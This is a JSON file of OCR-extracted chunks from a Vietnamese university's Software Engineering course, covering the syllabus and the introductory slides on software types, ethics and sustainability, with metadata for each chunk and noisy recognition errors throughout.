| { |
| "CO3001-syllabus-info-0000": { |
| "id": "CO3001-syllabus-info-0000", |
| "text": "Course: Software_Engineering (ID: CO3001)\nCredits: 3\nSemester: HK241", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "CO3001", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_001.png", |
| "page_index": 0, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:13:32+07:00" |
| } |
| }, |
| "CO3001-syllabus-assessments-0000": { |
| "id": "CO3001-syllabus-assessments-0000", |
| "text": "Lectures: 30 hours. Evaluation: Midterm exam (0%), MCQ (50%),\nTutorial: Weight: 0%.\nLabs/Practices: Weight: 0%.\nProjects: 45 hours. Weight: 40%.\nSelf-study: 60 hours. Weight: 10%.\nOthers: 15 hours. Weight: 0%.", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "CO3001", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_001.png", |
| "page_index": 0, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:13:32+07:00" |
| } |
| }, |
| "CO3001-syllabus-raw-0000": { |
| "id": "CO3001-syllabus-raw-0000", |
| "text": "3/31/25.9:58AM DCMH.CO3001_Software Engineering HO CHI MINH CITY UNIVERSITY OF TECHNOLOGY BK TRUONG DAI HOC BACH KHOA - DHQG-HCM TP.HCM DCMH.C03001.11.1 Dai Hoc Qu6c Gia TP.HCM Vietnam National University - HCMC Tru'o'ng Dai Hoc Bach Khoa Ho Chi Minh City University of Technology Khoa Khoa hoc va Ky thuat May tinh Faculty of Computer Science and Engineering DE CUONG HOC PHAN Course Syllabus 1. Thong tin v ehoc ph an (Course information) 1.1. Thong tin töng quan (General information) - Tén hoc ph`an: Cong nghe Ph an m `&m ( Software Engineering) - Ma hoc ph a (Course ID): CO3001 S6 tin chi (Credits): 3 (ECTS: 6) - Hoc ky áp dung (Applied from semester): HK241 - T churc hoc ph`a, ty lé va hinh thurc danh gia (Course format, ratio & evaluation type): S6 tin Ghi Hinh thu'c hoc tap So tiet Ti le Hinh thu'c danh gia Thoi gian chi chu (Teaching/study type) (Lessons) (Ratio) (Evaluation type) (Duration) (Credits) (Notes) Kiém tra giura ky (Midterm exam) - Träc -- phüt 0% nghiém (cham mäy) (minutes) (Multiple choice Ly thuyet (LT) 30 (MCQ)) 2 (Lectures) Thi (Final exam) - Trac nghiém (cham may) 90 phut 50% (Multiple choice (minutes) (MCQ)) Thao luan (ThL) / Thuc hanh tai l6'p (TH) 0 0 0% (Tutorial) Thi nghiém (TNg) / Thuc tap xuö'ng (TT) 0 0 0% (Labs/Practices) Bai tap l6'n (BTL) / D 0an (DA) / Tieu luan (TL) / D`écuo'ng luan van (DCLV) / Luan van t6t 45 1", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "CO3001", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_001.png", |
| "page_index": 0, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:13:32+07:00" |
| } |
| }, |
| "CO3001-syllabus-raw-0001": { |
| "id": "CO3001-syllabus-raw-0001", |
| "text": "tap l6'n (BTL) / D 0an (DA) / Tieu luan (TL) / D`écuo'ng luan van (DCLV) / Luan van t6t 45 1 40% nghiép (LVTN) (Projects) Tu hoc (Self-study) 60 0 10% Khac (Others) 15 0 0% Tong cöng (Total) 150 3 100% (Ghi chu: Cau hinh mon hoc mau LT - 3c) 1.2. Di a kien tien quyet (Prerequisites) HT/KN: Recommended, TQ: Prereq, SH: Coreq 268 Ly Thuo'ng Kiét,Phuo'ng 14,Quan 10,TP.HCM 268 Ly Thuong Kiet St., Ward 14, Dist. 10, Ho Chi Minh City, Vietnam Dién thoai: 028 3864 7256. www.hcmut.edu.vn Phone: 028 3864 7256. www.hcmut.edu.vr about:blank 1/10", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "CO3001", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_001.png", |
| "page_index": 0, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:13:32+07:00" |
| } |
| }, |
| "-syllabus-info-0000": { |
| "id": "-syllabus-info-0000", |
| "text": "Course: Software_Engineering (ID: )", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_010.png", |
| "page_index": 9, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:14:47+07:00" |
| } |
| }, |
| "-syllabus-raw-0000": { |
| "id": "-syllabus-raw-0000", |
| "text": "3/31/25.9:58AM DCMH.CO3001_Software Engineering BK HO CHI MINH CITY UNIVERSITY OF TECHNOLOGY TRUONG DAI HQC BACH KHOA - DHQG-HCM TP.HCM DCMH.C03001.11.1 268 Ly Thuo'ng Kiét,Phuo'ng 14,Quan 10,TP.HCM 268 Ly Thuong Kiet St., Ward 14, Dist. 10, Ho Chi Minh City, Vietnam Dién thoai: 028 3864 7256. www.hcmut.edu.vn Phone: 028 3864 7256. www.hcmut.edu.vn about:blank 10/10", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_010.png", |
| "page_index": 9, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:14:47+07:00" |
| } |
| }, |
| "-syllabus-raw-0001": { |
| "id": "-syllabus-raw-0001", |
| "text": "iet St., Ward 14, Dist. 10, Ho Chi Minh City, Vietnam Dién thoai: 028 3864 7256. www.hcmut.edu.vn Phone: 028 3864 7256. www.hcmut.edu.vr about:blank 9/10", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_009.png", |
| "page_index": 8, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:14:44+07:00" |
| } |
| }, |
| "-syllabus-raw-0002": { |
| "id": "-syllabus-raw-0002", |
| "text": "Ward 14, Dist. 10, Ho Chi Minh City, Vietnam Dién thoai: 028 3864 7256. www.hcmut.edu.vn Phone: 028 3864 7256. www.hcmut.edu.vr about:blank 8/10", |
| "metadata": { |
| "doc_type": "syllabus", |
| "course_id": "", |
| "source_file": "/mnt/d/Project_and_Assignment/AI_project/data_cvt/CO3001_Software_Engineering/Syllabus/slide_008.png", |
| "page_index": 7, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-12T20:14:38+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-000-0000": { |
| "id": "CO3001-chapter-1-slide-000-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 1 - INTRODUCTION Anh Nguyen-Duc Tho Quan-Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/ WEEK 1", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_001.png", |
| "page_index": 0, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:11+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-001-0000": { |
| "id": "CO3001-chapter-1-slide-001-0000", |
| "text": "TOPICS COVERED Professional software development What is meant by software engineering. Ethical & sustainable software engineering A brief introduction to ethical issues that affect software engineering. BK CH1INTRODUCTION 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_002.png", |
| "page_index": 1, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:14+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-002-0000": { |
| "id": "CO3001-chapter-1-slide-002-0000", |
| "text": "WHAT IS SOETWARE? Headphones Printer MP3 Internal Internet File Software = Player Security Browser Sharing Monitor Computer program(s) Spreadsheets Mapping Programs + associated Speakers Output Media documentation Devices Applications Players Software products Video Tower Games may be developed Webcam Word for Computer Software Processors Hardware Joystick a particular customer Microphone (bespoken) Input Operating Devices Systems Keyboard or a general market (market driven) External Windows OSX Drive Mouse Scanner (PC) (Mac) BK CH1.INTRODUCTION 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_003.png", |
| "page_index": 2, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:22+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-003-0000": { |
| "id": "CO3001-chapter-1-slide-003-0000", |
| "text": "SOETWARE IS COMPLEX Complex 7 complicated V C Complex = composed of many simple parts related to one another V C Complicated = not well understood, or explained BK CH1INTRODUCTION 4 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_004.png", |
| "page_index": 3, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:26+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-004-0000": { |
| "id": "CO3001-chapter-1-slide-004-0000", |
| "text": "TYPE OF SOFTWARE Software Set of programs that governs the functioning of computer System Software Application Software Carries out necessary operations for Controls the internal Computer operation a specified application to function. System Genera Specific Purposel Developing ManagementProgram Software Purpose Software Software 1.Operating System 1.Reservation System 1.Word Processor 1. Programming 2.Presentation 2.Attendance System 2.Device Drivers Language 3. System Utilities 3.Billing System 3. Spreadsheet 2. Language 4. Image editor 4. Report Card Translator Generator, etc. 3.Linker 4.Loder BK CH1.INTRODUCTION 5 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_005.png", |
| "page_index": 4, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:32+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-005-0000": { |
| "id": "CO3001-chapter-1-slide-005-0000", |
| "text": "SOETWARE ENGINEERING using appropriate theories and methods to solve problems bearing in mind organizational and financial constraints. Software engineering is an engineering discipline that is concerned with all aspects of software production MPLEMENTATION DEVELOPMENT PROGRAMMING SOFTWARE ANALYZE ENGINEERING technical process of development, project management , the development of tools DESIGN PLANNING methods etc. VALIDATION AND CH1INTRODUCTION 6 VERIFICATION TESTING", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_006.png", |
| "page_index": 5, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:37+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-006-0000": { |
| "id": "CO3001-chapter-1-slide-006-0000", |
| "text": "WHO IS IN CHARGE FOR THE SPECIEICATION? Product specification at initial stage and the changes later Generic products The software engineering team Customized products The customer Agile value. Working software over Comprehensive document BK TP.HCM CH1INTRODUCTION 7", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_007.png", |
| "page_index": 6, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:40+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-007-0000": { |
| "id": "CO3001-chapter-1-slide-007-0000", |
| "text": "GOOD SOFTWARE? of a high quality or level : to be desired or approved of Break-down \"good\" quality into required quality attributes: performance maintainable dependable usable BK CH1INTRODUCTION 8 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_008.png", |
| "page_index": 7, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:44+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-008-0000": { |
| "id": "CO3001-chapter-1-slide-008-0000", |
| "text": "IMPORTANCE OF SOFTWARE ENGINEERING (ADDITIONAL READING) disaster Airbus A4OOM Atlas crash in 2O15,4 killed BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_009.png", |
| "page_index": 8, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:49+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-009-0000": { |
| "id": "CO3001-chapter-1-slide-009-0000", |
| "text": "IMPORTANCE OF SOFTWARE ENGINEERING (ADDITIONAL READING) 1 8/2016: Security breach with Bitcoin cost 72 mil. Usd lost in market Bitcoin Slumps, Bounces Back Digital currency slides after hackers steal millions from exchange Bitcoin 640 Close on 07/31 ---- 657.6700 620 600 580 16.46% 560 108.2374 549.4326 540 520 500 480 00:00 08:00 00:00 08:00 00:00 08:00 16:00 BK 01 Aug 2016 02 Aug 2016 03 Aug g 2016 TP.HCM Source: Bloomberg Bloomberg all", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_010.png", |
| "page_index": 9, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:55+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-010-0000": { |
| "id": "CO3001-chapter-1-slide-010-0000", |
| "text": "SOETWARE COSTS Software costs computer system costs V Costs to maintain > to develop development. BK CH1INTRODUCTION 11 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_011.png", |
| "page_index": 10, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:40:58+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-011-0000": { |
| "id": "CO3001-chapter-1-slide-011-0000", |
| "text": "SOME FAQS ABOUT SOFTWARE ENGINEERING (ADDITIONAL READING Question Answer What is the difference between Computer science focuses on software engineering and theory and fundamentals; software computer science? engineering is concerned with the practicalities of developing and delivering useful software. What is the difference between System engineering is concerned software engineering and system with all aspects of computer-based engineering? systems development including hardware, software and process engineering. Software engineering is part of this more general process. BK TP.HCM CH1.INTRODUCTION 12", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_012.png", |
| "page_index": 11, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:03+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-012-0000": { |
| "id": "CO3001-chapter-1-slide-012-0000", |
| "text": "MPORTANCE OE SOETWARE ENGINEERING We need: Reliability & trustworthy products Delivering on time Reusable Cost effective in changing/evolution More? BK Aug 2019 CH1INTRODUCTION 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_013.png", |
| "page_index": 12, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:06+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-013-0000": { |
| "id": "CO3001-chapter-1-slide-013-0000", |
| "text": "MPORTANCE OE SOETWARE ENGINEERING A bridge from customer needs to programming implementation n n Customer Software Engineer First law of software engineering Software engineer is willing to learn the problem domain (problem cannot be solved without understanding it first) BK 14 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_014.png", |
| "page_index": 13, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:10+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-014-0000": { |
| "id": "CO3001-chapter-1-slide-014-0000", |
| "text": "FUNDAMENTAL SOFTWARE E ENGINEERING ACTIVITIES l.Software 2.Software 3.Software 4. Software Test Requirements Design Construction 6.Software 7.Software 8.Software 5.Software Configuration Engineering Engineering Maintenance Management Management Process 9.Software Engineering 10.Software Tools and Quality Methods SWEBOK V3.0 Guide to the Software Engineering Body of Knowledge Editors Pierre Bourqu RichardE.DickFairley WIEEE BK Aug 2019 EEcomputer society ON 15 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_015.png", |
| "page_index": 14, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:16+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-015-0000": { |
| "id": "CO3001-chapter-1-slide-015-0000", |
| "text": "GENERAL ISSUES THAT AEEECT MOST SOETWARE Heterogeneity networks that include different types of computer and mobile devices. Business and social change Business and society are changing incredibly quickly as emerging economies develop and new technologies become available. They need to be able to change their existing software and to rapidly develop new software. Security and trust As software is intertwined with all aspects of our lives, it is essential that we can trust that software. BK Aug 2019 CH1.INTRODUCTION 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_016.png", |
| "page_index": 15, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:21+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-016-0000": { |
| "id": "CO3001-chapter-1-slide-016-0000", |
| "text": "SOETWARE DIVERSITY Many different types of software system Stand-alone Transaction-based Embedded system no universal set of Batch processing software techniques Entertainment Modeling and simulation applicable to all! System of systems Software development is context-specific Large companies SME Startups In-house Outsourcing BK CH1INTRODUCTION 17 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_017.png", |
| "page_index": 16, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:25+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-017-0000": { |
| "id": "CO3001-chapter-1-slide-017-0000", |
| "text": "SOETWARE ENGINEERING FUNDAMENTALS Some fundamental principles apply to all types of software system: Use a managed and understood development process Consider dependability and performance Understand and manage the software specification and requirements BK Aug 2019 CH1INTRODUCTION 18 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_018.png", |
| "page_index": 17, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:29+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-018-0000": { |
| "id": "CO3001-chapter-1-slide-018-0000", |
| "text": "SOETWARE ENGINEERING ETHICS Software Engineering C EODE Ethics? Ethics Don Gotterbarn,Keith Miller and Simon Rogerson (Oxford dictionary) Moral principles that govern a person's behaviour or he Boaad ol Gavernrs o the IEEE Computer Soc the conducting of an activity. mmceMay199 forcwaluating.planning ACM and the and coordinaring action IEEE Computer Society wtware engineering a join forces to create a code of professional practices within our industry. ering.ByJanmry1994.both Now,we ask for your ahldht comments. whch nc they nnade the iol lowing recommencanons 1 Fundamental Software engineering ethics Software engineering involves wider responsibilities than simply the application of technical skills. Software engineers must behave in an honest and ethically responsible way if they are to be respected as professionals. Ethical behaviour is more than simply upholding the law but involves following a set of principles that are morally correct. BK Aug 2019 CH1INTRODUCTION 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_019.png", |
| "page_index": 18, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:35+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-019-0000": { |
| "id": "CO3001-chapter-1-slide-019-0000", |
| "text": "SOFTWARE ENGINEERING ETHICS Self Society/ Profession Public O<< Colleagues Product Software Professional Client Employer BK Aug 2019 CH1.INTRODUCTION 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_020.png", |
| "page_index": 19, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:39+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-020-0000": { |
| "id": "CO3001-chapter-1-slide-020-0000", |
| "text": "ACM CODE OE ETHICS AND PROEESSIONAL CONDUCT 1.1 Contribute to society and human well-being. 1.2 Avoid harm to others. 1.3 Be honest and trustworthy. 1.4 Be fair and take action not to discriminate. 1.5 Honor property rights including copyrights and patent. 1.7 Respect the privacy of others. 1.8 Honor confidentiality. BK Aug 2019 CH1.INTRODUCTION 21 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_021.png", |
| "page_index": 20, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:43+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-021-0000": { |
| "id": "CO3001-chapter-1-slide-021-0000", |
| "text": "SOFTWARE ENGINEERING AND SUSTAINABILITY NO 2 ZERO 3 GOOOHEALTH 4 QUALITY S GENDER POVERTY HUNGER AND WELL-BEING EDUCATION EQUALITY 6 CLEANWATER 1 AFFORDABLEAND 8 DECENTWORK AND 9 INDUSTRY.INNOVATION 10 REDUCED AND SANITATION CLEANENERGY ECONOMICGROWTH ANDINFRASTRUCTURE INEQUALITIES 11 SUSTAINABLE CITIES 12 RESPONSIBLE AND COMMUNITIES CONSUMPTION THE GLOBALGOALS ANDPRODUCTION GO For Sustainable Development 13 CLIMATE 14 LIFEBELOW 15 LIFE 16 PEACE AND JUSTICE 17 PARTNERSHIPS ACTION WATER ONLAND STRONGINSTITUTIONS FORTHEGOALS BK Aug 2019 CH1INTRODUCTION 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_022.png", |
| "page_index": 21, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:51+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-022-0000": { |
| "id": "CO3001-chapter-1-slide-022-0000", |
| "text": "SOETWARE ENGINEERING AND SUSTAINABILITY - EXAMPLE Coral Calero.Mario Pattinifditor (ADDITIONAL READING) Green in Software Engineering Green Software Engineering is an emerging discipline at the intersection of climate science, markets, hardware and data centre design. Green Software Engineering concerns the design, development and operation of software-intensive products in a way that reduces pollution, promotes sustainability, and minimizes risk to human health and the environment without sacrificing economic viability and efficiency https://principles.green/ BK Aug 2019 CH1.INTRODUCTION 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_023.png", |
| "page_index": 22, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:41:57+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-023-0000": { |
| "id": "CO3001-chapter-1-slide-023-0000", |
| "text": "SOFTWARE ENGINEERING AND SUSTAINABILITY - EXAMPLE Coral Calero-Mario PattiniEditon (ADDITIONAL READING) Green in Software Engineering Carbon: Build applications that are carbon efficient. Electricity: Build applications that are energy efficient. 2s Carbon Intensity: Consume electricity with the lowest carbon intensity. Embodied Carbon: Build applications that are hardware efficient. Energy Proportionality: Maximize the energy efficiency of hardware. Networking: Reduce the amount of data and distance it must travel across the network Demand Shapina: Build carbon-aware applications. Measurement & Optimization: Focus on step-by-step optimizations that increase the overall carbon efficiency. https://principles.green/ BK Aug 2019 CH1.INTRODUCTION 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_024.png", |
| "page_index": 23, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:03+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-024-0000": { |
| "id": "CO3001-chapter-1-slide-024-0000", |
| "text": "SUMMARY Software engineering is an engineering discipline that is concerned with all aspects of software production. dependability and security, efficiency and acceptability The high-level activities of specification, development, The fundamental notions of software engineering are universally applicable to all types of system development. BK Aug 2019 CH1.INTRODUCTION 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_025.png", |
| "page_index": 24, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:08+07:00" |
| } |
| }, |
| "CO3001-chapter-1-slide-025-0000": { |
| "id": "CO3001-chapter-1-slide-025-0000", |
| "text": "SUMMARY (CONT.) There are many different types of system and each requires appropriate software engineering tools and techniques for their development. The fundamental ideas of software engineering are applicable to all types of software system. Software engineers have responsibilities to the engineering profession and society. They should not simply be concerned with technical issues. Sustainability is an emerging concern in all engineering discipline, including software development and operation. BK Aug 2019 CH1.INTRODUCTION 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_1/slide_026.png", |
| "page_index": 25, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:12+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-026-0000": { |
| "id": "CO3001-chapter-2-slide-026-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 2 - SOFTWARE PROCESSES Anh Nguyen-Duc Tho Quan Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_001.png", |
| "page_index": 26, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:15+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-027-0000": { |
| "id": "CO3001-chapter-2-slide-027-0000", |
| "text": "TOPICS COVERED Process activities C Coping with change Process improvement Menti + Breakout room for discussion BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_002.png", |
| "page_index": 27, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:19+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-028-0000": { |
| "id": "CO3001-chapter-2-slide-028-0000", |
| "text": "What is your understanding of a \"Software Process\"? Which models? Examples? Uses? Strengths/Weaknesses? Observations? BK Spring 2025 CHAPTER 2.SOETWAREPROCESSES 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_003.png", |
| "page_index": 28, |
| "language": "en", |
